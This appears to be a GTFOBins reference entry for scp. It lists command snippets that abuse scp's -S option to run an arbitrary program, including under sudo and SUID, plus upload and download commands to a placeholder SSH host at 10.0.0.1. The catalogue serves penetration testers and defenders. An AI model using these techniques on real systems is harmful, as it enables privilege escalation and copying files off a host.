GTFOBins.github.io/_gtfobins/scp.md
2018-05-21 20:14:41 +01:00

879 B

functions
exec-non-interactive sudo-enabled suid-limited upload download
code
TF=$(mktemp) CMD="touch /tmp/unrestricted" echo "$CMD" > "$TF" chmod +x "$TF" scp -S $TF x y:
code
TF=$(mktemp) CMD="touch /tmp/unrestricted" echo "$CMD" > "$TF" chmod +x "$TF" sudo scp -S $TF x y:
code
TF=$(mktemp) CMD="touch /tmp/unrestricted" echo "$CMD" > "$TF" chmod +x "$TF" ./scp -S $TF a b:
description code
Send local file to a SSH server. RPATH=user@10.0.0.1:~/where_to_save LPATH=file_to_send scp $LFILE $RPATH
description code
Fetch a remote file from a SSH server. RPATH=user@10.0.0.1:~/file_to_get LFILE=where_to_save scp $RPATH $LFILE